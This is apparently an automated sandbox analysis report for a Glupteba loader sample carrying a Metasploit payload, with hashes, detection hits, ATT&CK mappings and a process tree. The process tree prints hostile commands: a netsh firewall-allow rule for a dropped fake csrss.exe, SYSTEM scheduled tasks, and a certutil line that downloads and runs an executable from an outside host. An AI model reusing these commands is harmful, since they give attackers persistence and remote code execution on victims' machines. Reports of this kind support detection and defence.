glupteba | 58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7

General

Target

58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe
Size

3.9MB
MD5

baed2d4a67d695e801fd7ef857edab8f
SHA1

be41f49ff9ebb3ac4ec357e3862fb13ce61b75f7
SHA256

58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7
SHA512

3aff595eb126cabed9e9503bc1ed32721404ed26b4063956dfc1f0fbda0d4844b3ab96c46bbc7a9efe11d75082a04d8a761e4b3d36182225cf9d522a26460fec

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 8 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4660-131-0x0000000003CD0000-0x00000000044D2000-memory.dmp	family_glupteba
behavioral2/memory/4660-132-0x0000000000400000-0x0000000003357000-memory.dmp	family_glupteba
behavioral2/memory/4660-134-0x0000000003CD0000-0x00000000044D2000-memory.dmp	family_glupteba
behavioral2/memory/744-137-0x0000000000400000-0x0000000003357000-memory.dmp	family_glupteba
behavioral2/memory/4660-138-0x0000000000400000-0x0000000003357000-memory.dmp	family_glupteba
behavioral2/memory/744-144-0x0000000000400000-0x0000000003357000-memory.dmp	family_glupteba
behavioral2/memory/3196-146-0x0000000000400000-0x0000000003357000-memory.dmp	family_glupteba
behavioral2/memory/3196-152-0x0000000000400000-0x0000000003357000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 4980 created 4660	4980	svchost.exe	58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe
PID 4980 created 3196	4980	svchost.exe	csrss.exe
PID 4980 created 3196	4980	svchost.exe	csrss.exe
PID 4980 created 3196	4980	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

3196 csrss.exe
2224 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

212 netsh.exe

pid	process
3196	csrss.exe
2224	patch.exe

pid	process
212	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GreenLeaf = "\"C:\\Windows\\rss\\csrss.exe\""	58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

2412 bcdedit.exe

pid	process
2412	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe

description	ioc	process
File opened for modification	C:\Windows\rss	58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe
File created	C:\Windows\rss\csrss.exe	58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2052 schtasks.exe
4956 schtasks.exe

pid	process
2052	schtasks.exe
4956	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1501 = "Turkey Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1721 = "Libya Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1912 = "Russia TZ 10 Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2592 = "Tocantins Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.execsrss.exe

pid	process
4660	58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe
4660	58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe
744	58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe
744	58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe
3196	csrss.exe
3196	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	4660	58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe
Token: SeImpersonatePrivilege	4660	58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe
Token: SeTcbPrivilege	4980	svchost.exe
Token: SeTcbPrivilege	4980	svchost.exe
Token: SeBackupPrivilege	4980	svchost.exe
Token: SeRestorePrivilege	4980	svchost.exe
Token: SeBackupPrivilege	4980	svchost.exe
Token: SeRestorePrivilege	4980	svchost.exe
Token: SeSystemEnvironmentPrivilege	3196	csrss.exe
Token: SeBackupPrivilege	4980	svchost.exe
Token: SeRestorePrivilege	4980	svchost.exe
Token: SeBackupPrivilege	4980	svchost.exe
Token: SeRestorePrivilege	4980	svchost.exe
Token: SeBackupPrivilege	4980	svchost.exe
Token: SeRestorePrivilege	4980	svchost.exe
Token: SeBackupPrivilege	4980	svchost.exe
Token: SeRestorePrivilege	4980	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exe58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.execmd.execsrss.exe

description	pid	process	target process
PID 4980 wrote to memory of 744	4980	svchost.exe	58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe
PID 4980 wrote to memory of 744	4980	svchost.exe	58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe
PID 4980 wrote to memory of 744	4980	svchost.exe	58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe
PID 744 wrote to memory of 4712	744	58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe	cmd.exe
PID 744 wrote to memory of 4712	744	58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe	cmd.exe
PID 4712 wrote to memory of 212	4712	cmd.exe	netsh.exe
PID 4712 wrote to memory of 212	4712	cmd.exe	netsh.exe
PID 744 wrote to memory of 3196	744	58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe	csrss.exe
PID 744 wrote to memory of 3196	744	58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe	csrss.exe
PID 744 wrote to memory of 3196	744	58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe	csrss.exe
PID 4980 wrote to memory of 2052	4980	svchost.exe	schtasks.exe
PID 4980 wrote to memory of 2052	4980	svchost.exe	schtasks.exe
PID 4980 wrote to memory of 4956	4980	svchost.exe	schtasks.exe
PID 4980 wrote to memory of 4956	4980	svchost.exe	schtasks.exe
PID 4980 wrote to memory of 2224	4980	svchost.exe	patch.exe
PID 4980 wrote to memory of 2224	4980	svchost.exe	patch.exe
PID 3196 wrote to memory of 2412	3196	csrss.exe	bcdedit.exe
PID 3196 wrote to memory of 2412	3196	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe
"C:\Users\Admin\AppData\Local\Temp\58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4660

C:\Users\Admin\AppData\Local\Temp\58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe
"C:\Users\Admin\AppData\Local\Temp\58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:744

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:4712

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:212

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3196

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:2052

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:4956

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:2224

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:2412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4980

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

Scheduled Task

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe

Filesize
3.9MB

MD5
baed2d4a67d695e801fd7ef857edab8f

SHA1
be41f49ff9ebb3ac4ec357e3862fb13ce61b75f7

SHA256
58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7

SHA512
3aff595eb126cabed9e9503bc1ed32721404ed26b4063956dfc1f0fbda0d4844b3ab96c46bbc7a9efe11d75082a04d8a761e4b3d36182225cf9d522a26460fec

Download Submit
C:\Windows\rss\csrss.exe

Filesize
3.9MB

MD5
baed2d4a67d695e801fd7ef857edab8f

SHA1
be41f49ff9ebb3ac4ec357e3862fb13ce61b75f7

SHA256
58dd4bded52daaaed823fd8d689dd3ff6d889e0bf23841c204ace1e54cc824a7

SHA512
3aff595eb126cabed9e9503bc1ed32721404ed26b4063956dfc1f0fbda0d4844b3ab96c46bbc7a9efe11d75082a04d8a761e4b3d36182225cf9d522a26460fec

Download Submit
memory/212-140-0x0000000000000000-mapping.dmp

Download
memory/744-135-0x0000000000000000-mapping.dmp

Download
memory/744-136-0x0000000003758000-0x0000000003AFF000-memory.dmp

Filesize
3.7MB

Download
memory/744-137-0x0000000000400000-0x0000000003357000-memory.dmp

Filesize
47.3MB

Download
memory/744-144-0x0000000000400000-0x0000000003357000-memory.dmp

Filesize
47.3MB

Download
memory/2052-147-0x0000000000000000-mapping.dmp

Download
memory/2224-149-0x0000000000000000-mapping.dmp

Download
memory/2412-151-0x0000000000000000-mapping.dmp

Download
memory/3196-145-0x0000000003C00000-0x0000000003FA7000-memory.dmp

Filesize
3.7MB

Download
memory/3196-152-0x0000000000400000-0x0000000003357000-memory.dmp

Filesize
47.3MB

Download
memory/3196-141-0x0000000000000000-mapping.dmp

Download
memory/3196-146-0x0000000000400000-0x0000000003357000-memory.dmp

Filesize
47.3MB

Download
memory/4660-132-0x0000000000400000-0x0000000003357000-memory.dmp

Filesize
47.3MB

Download
memory/4660-130-0x0000000003926000-0x0000000003CCD000-memory.dmp

Filesize
3.7MB

Download
memory/4660-133-0x0000000003926000-0x0000000003CCD000-memory.dmp

Filesize
3.7MB

Download
memory/4660-134-0x0000000003CD0000-0x00000000044D2000-memory.dmp

Filesize
8.0MB

Download
memory/4660-131-0x0000000003CD0000-0x00000000044D2000-memory.dmp

Filesize
8.0MB

Download
memory/4660-138-0x0000000000400000-0x0000000003357000-memory.dmp

Filesize
47.3MB

Download
memory/4712-139-0x0000000000000000-mapping.dmp

Download
memory/4956-148-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads